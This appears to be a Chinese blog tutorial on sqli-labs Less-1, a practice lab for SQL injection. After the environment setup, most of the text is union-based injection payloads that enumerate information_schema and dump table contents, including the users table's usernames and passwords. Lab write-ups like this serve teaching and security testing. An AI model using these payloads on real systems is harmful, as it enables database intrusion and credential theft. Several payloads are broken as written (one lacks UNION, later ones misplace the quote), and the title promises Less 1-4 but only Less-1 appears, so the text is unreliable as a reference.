Sql Inject Less 1-4 注入基础
搭建环境
项目地址:https://github.com/Audi-1/sqli-labs
软件版本:
php5.2.17nts
mysql5.7.26
apache2.4.39
需要确保 php.ini 的三个参数处于关闭状态.
由于提交到后台的参数php程序自动会转义,例如单引号,这个在之后的版本已经被移除。由写程序的人自己来负责。
magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
开始调试
Less-1
http://192.168.230.130/trainer/Less-1/?id=1' --+
统计出表列 payload,表一共有3列:1' order by 4 --+
注意:order by 后的数字是表的列,第一列,第二列.
然后自定义payload执行我们自己的sql语句。
payload:1' select 1,2,3 --+
注意:1是id列,在页面上没输出,使用这个字段是看不到结果的。
2和3这里、就可以写我们自己的sql语句了。
例如可以构造成:1' select 1, version(), 5 --+
在mysql中的查询也会变成如下的列:
Mysql数据库的元字段等信息因为都保存在 information_schema数据库里,所以可以构造payload查询这个数据库里的表:tables
payload: -1' union select 1,TABLE_NAME, TABLE_ROWS from information_schema.tables where table_schema='security' limit 0,1 --+
注意控制 limit 来筛选数据。
payload:-1' union select 1,group_concat(TABLE_NAME), group_concat(TABLE_ROWS) from information_schema.tables where table_schema='security' --+
因为加入了group_concat函数全部输出了,所以不用调整limit
这样就可以查询出来这个数据库中所有对应的数据库表
emails 8
referers 0
uagents 0
users 13
接下来就可以继续查询表所对应的列,保存列的元信息表为:infomation_schema.COLUMNS
payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='emails' --+
payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='referers' --+
payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='uagents' --+
payload:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security' --+
因为users表在mysql库里也有一份,这里要加 and table_schema='security' 数据库名以区分。
整理下我们获取到的字段信息:
emails:id,email_id
referers:id,referer, ip_address
uagents:id,uagent,ip_address,username
users:id,username,password
具有了字段信息,我们就可以进行进一步查询到数据了。
emails表payload:'-1 union select 1,group_concat(id),group_concat(email_id) from emails --+
referers表payload:'-1 union select group_concat(id),group_concat(referer),group_concat(ip_address) from referers --+
【表里数据】
uagents表payload:'-1 union select group_concat(id),group_concat(uagent),group_concat(ip_address) from uagents --+
【表里没数据】
users表payload:'-1 union select group_concat(id),group_concat(username),group_concat(password) from users --+
数据信息已经出来了
评论
发表评论